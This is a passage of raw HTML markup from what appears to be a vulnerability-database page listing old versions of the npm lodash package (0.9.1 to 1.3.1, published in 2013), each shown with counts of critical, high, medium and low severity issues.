class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.3.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.3.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.3.1\" published=\"4 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.3.1\" data-v-90f947a4>\n          4 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.3.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.3.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.3.0\" published=\"4 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.3.0\" data-v-90f947a4>\n          4 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.2.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.2.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.2.1\" published=\"4 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.2.1\" data-v-90f947a4>\n          4 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.2.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.2.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.2.0\" published=\"4 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.2.0\" data-v-90f947a4>\n          4 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.1.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.1.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.1.1\" published=\"4 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.1.1\" data-v-90f947a4>\n          4 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.1.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.1.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.1.0\" published=\"4 Sep, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.1.0\" data-v-90f947a4>\n          4 Sep, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.0.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.0.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.0.1\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.0.1\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.0.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.0.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.0.0\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.0.0\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.0.0-rc.3\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.0.0-rc.3\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.0.0-rc.3\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.0.0-rc.3\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.0.0-rc.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.0.0-rc.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.0.0-rc.2\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.0.0-rc.2\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/1.0.0-rc.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                1.0.0-rc.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"1.0.0-rc.1\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/1.0.0-rc.1\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.10.0\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.10.0\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.10.0\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.10.0\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.9.2\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.9.2\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.9.2\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.9.2\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>L</span></abbr></li> <!----></ul></td></tr><tr class=\"vue--table__row\" data-v-90f947a4><td data-v-90f947a4><a href=\"/package/npm/lodash/0.9.1\" wrapper=\"a\" data-snyk-test=\"PackageVersionsTable: version name\" class=\"vue--anchor\" data-v-ce2707d6 data-v-f334a378>\n                0.9.1\n              <!----><!----></a></td><td data-v-90f947a4><span version=\"0.9.1\" published=\"31 Aug, 2013\" severitySummary=\"[object Object]\" link=\"/package/npm/lodash/0.9.1\" data-v-90f947a4>\n          31 Aug, 2013\n        </span></td><td data-v-90f947a4><ul class=\"vue--severity\" data-v-87993300 data-v-90f947a4><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: critical count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Critical severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>C</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--high\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: high count\" class=\"vue--severity__label\" data-v-87993300>4</span></div> <abbr title=\"High severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>H</span></abbr></li> <!----><li data-snyk-ignore-wcag2aa=\"true\" class=\"vue--severity__item vue--severity__item--medium\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: medium count\" class=\"vue--severity__label\" data-v-87993300>3</span></div> <abbr title=\"Medium severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" data-v-87993300>M</span></abbr></li> <!----><li class=\"vue--severity__item vue--severity__item--none\" data-v-87993300><div class=\"vue--severity__count\" data-v-87993300><span data-snyk-test=\"Base Severity: low count\" class=\"vue--severity__label\" data-v-87993300>0</span></div> <abbr title=\"Low severity issues\" class=\"vue--severity__text\" data-v-87993300><!----> <span class=\"vue--severity__label\" 